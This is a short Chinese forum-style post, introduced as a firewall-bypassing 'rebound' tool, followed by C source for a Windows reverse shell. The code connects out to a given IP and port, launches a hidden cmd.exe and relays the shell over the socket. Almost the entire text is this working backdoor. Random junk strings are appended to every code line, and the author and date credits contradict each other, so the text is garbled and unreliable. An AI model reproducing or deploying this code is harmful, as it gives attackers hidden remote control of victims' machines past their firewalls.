这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y?.l9
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/* ==============================
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Rebound port in Windows NT jRYW3a_7
By wind,2006/7 `g!NFp9q
===============================*/ r0/o{Y|l6
#include Gfy9?sa
#include h1jEulcMtq
m.2=,,r<Fq
#pragma comment(lib,"wsock32.lib") @]xHt&j
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void OutputShell(); c&;Xjy
SOCKET sClient; ]B>g~t5J
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L|N[.V9
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void main(int argc,char **argv) (4oO8aBB
{ Bl!R
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WSADATA stWsaData; u RPvo}!=1
int nRet; ] R-<v&O
SOCKADDR_IN stSaiClient,stSaiServer; P2>Y0"bY
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if(argc != 3) odNHyJS0
{ CGY,I
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printf("Useage:\n\rRebound DestIP DestPort\n"); CWW|?
return; hR(p{$-T
} >P[BwL]
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WSAStartup(MAKEWORD(2,2),&stWsaData); &=`6- J
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I^itlQ
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stSaiClient.sin_family = AF_INET; jhkNi`E7
stSaiClient.sin_port = htons(0); PuoN<9 #
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TSHH=`cx
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^dCSk==
{ qbu5aK}+
printf("Bind Socket Failed!\n"); IM9P5?kJ
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return; Ye"#tCOEG
} V07? sc<
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stSaiServer.sin_family = AF_INET; F-I\x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2#g4R
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '1te(+;e@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #uHl
{ h(Ccm44
printf("Connect Error!"); [$P.ek<
return; QQIU5
} ;gmfWHB<
OutputShell(); FST}:*dOe5
} M+Jcgb]
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void OutputShell() 8w]>SEGFs
{ elzKtVw
char szBuff[1024]; B@@j-
SECURITY_ATTRIBUTES stSecurityAttributes; v'W`\MKY)
OSVERSIONINFO stOsversionInfo; Yvbk[Rb
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j~:N8(=
STARTUPINFO stStartupInfo; @!zT+W&
char *szShell; s#2<^6
PROCESS_INFORMATION stProcessInformation; kx_PMpc
unsigned long lBytesRead; {%Ujp9i
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ` "JslpN
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cgvD>VUw
stSecurityAttributes.lpSecurityDescriptor = 0; 2lm{: tS
stSecurityAttributes.bInheritHandle = TRUE; [H8QxJk
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BL Q&VI4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SuU %x2
maopr$r
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )TFBb\f>v
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,)JSXo
stStartupInfo.wShowWindow = SW_HIDE; !NfN16
stStartupInfo.hStdInput = hReadPipe; YDMimis\H5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5{uK;Vxse
;4 rTm@6
GetVersionEx(&stOsversionInfo); ZD'fEqM
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switch(stOsversionInfo.dwPlatformId) V*U*_Y
{ :x<'>)6
case 1: \dIQhF%%2
szShell = "command.com"; fsDwfwil*
break; l[J'FR:
default: ]2Q:&T
szShell = "cmd.exe"; 8Qg,UX
break; 5V{zdS=
} $SmmrM
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xE4iey@\}
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send(sClient,szMsg,77,0); pwvcH3l/r
while(1) bqt*d)$
{ lV0\UySH
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bf3Njma%
if(lBytesRead) 9(/ ;Wutj"
{ Pkbx/\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~KufSt*
send(sClient,szBuff,lBytesRead,0); >_4Ck{^d#
} u(s/4Lu
else 07_ym\N
{ lc71Pp>
lBytesRead=recv(sClient,szBuff,1024,0); 1.Ximom
if(lBytesRead<=0) break; 2h6<'2'o1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MxY~(TVPK
} K;u<-?En
} Y70[Nz
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return; 9aR-kcvJIJ
}